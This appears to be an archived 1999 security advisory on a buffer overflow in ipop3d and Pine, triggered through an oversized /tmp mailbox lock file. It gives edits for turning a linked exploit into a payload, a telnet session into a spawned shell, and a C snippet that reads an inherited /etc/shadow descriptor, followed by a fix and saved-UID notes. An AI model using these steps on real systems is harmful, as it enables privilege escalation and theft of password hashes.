COMMAND

    ipop3d & Pine

SYSTEMS AFFECTED

    Linux (others?) with CAC.Washington.EDU ipop3d 4.xx and Pine 4.xx

PROBLEM

    Michal Zalewski found following.  Both programs, at least on Linux
    platform, have  serious security  hole.   When data  is read  from
    so-called mailbox  lock created  in /tmp  directory (this  happens
    under certain conditions - please refer exploit code below),  it's
    stored in _too_small_  buffer.  It  is possible to  overwrite some
    data, and registers as well.  For testing purposes, simple exploit
    code presented another could be used - suggested changes:

        write(i,"-1",2)   ->   write(i,"(about 1100 b)",1100)
        truncate(i,2)     ->   truncate(i,1100);

    Exploit could be obtained via:

        http://oliver.efri.hr/~crv/security/bugs/Linux/pine12.html

    Overflow in pine  might be used  to gain other  lusers' privledges
    (or,  sometimes,  root  privledges,  depending  on his stupidity).
    Exploited  overflow  in  ipop3d  could  be  used to gain superuser
    access  (the  only  thing  done  by  ipop3d  is  setuid+setgid, no
    seteuid/setreuid).   CAC.Washington.EDU   ipop3d  is  shipped   by
    default with Red Hat Linux, included in IMAP package.

    M.C.Mar added following.   (un)fortunately when exploiting  ipop3d
    he found something like this:

Grabarz:~emsi# lsof -n | grep 1190
sh        1190 emsi  cwd    DIR        8,1    1024        2 /
sh        1190 emsi  rtd    DIR        8,1    1024        2 /
sh        1190 emsi  txt    REG        8,1  279352    16324 /bin/bash
sh        1190 emsi  mem    REG        8,1   78828    30629 /lib/ld-linux.so.1.9.5
sh        1190 emsi  mem    REG        8,1   11493    79564 /lib/libtermcap.so.2.0.8
sh        1190 emsi  mem    REG        8,1  605044    79566 /lib/libc.so.5.4.33
[...]
sh        1190 emsi    3r   REG        8,1     598    24674 /etc/shadow

    Shel spawned via ipop3d explotation (no bonus -- no exploit  core)
    inherits opened fd.  So we may do something like this:

        emsi:~emsi# telnet grabarz 110
        Trying 192.168.0.19...
        Connected to grabarz.
        Escape character is '^]'.
        +OK Grabarz POP3 3.3(20) w/IMAP2 client (Comments to MRC@CAC.Washington.EDU) at Fri, 9 Apr 1999 15:19:33 +0000 (   )
        user emsi
        +OK User name accepted, password please
        pass qpqp01
        id;
        uid=1002(emsi) gid=100(users) groups=100(users)
        : command not found
        bash -i;
        bash$ cd ~emsi
        cd ~emsi
        bash$
        bash$ cat p.c
        cat p.c
                char buf[255];
                lseek(3,0,0);
                read(3,buf,255);
                printf("Be my guest:\n%s\n",buf);
        }
        bash$
        bash$ gcc p.c
        gcc p.c
        bash$
        ./a.out

    That's only example... It  proofs that exploiting ipop3d  could be
    usefull to obtain root (or any other account) access and that  the
    vulnerability should be fixed.

SOLUTION

    In both cases, you have to look for something like kill(i,SIGUSR2)
    in sources and modify lines just  before it.  As for ipop3d,  said
    above is might be not truth (from the Solaris' setuid() manpage):

        If the effective user ID of the process calling setuid() is
        the super-user, the real, effective, and saved user IDs are
        set to the uid parameter.

    Some programs  running setuid  root only  does a  seteuid(), which
    does not touch the saved-user-id.  The programmers have done  this
    in the belief that it drops all root priviledges (the programs did
    not  need  to  re-aquire  priviledges  at  a  later  time, and the
    comments in the  code suggested that  the call's intention  was to
    get rid of all priviledges).  These programs should probably do  a
    setuid()  instead,  which  affects  saved-user-id  as  well.  This
    problem  isn't  huge,  you  might  say,  because whenever you do a
    fork() or similar, the saved-user-id should be reset.  But if  you
    can take control of the  application via a buffer overflow  or the
    like,  and  saved-user-id  is  root  then  you  have no problem of
    getting the root priviledges back before doing a fork().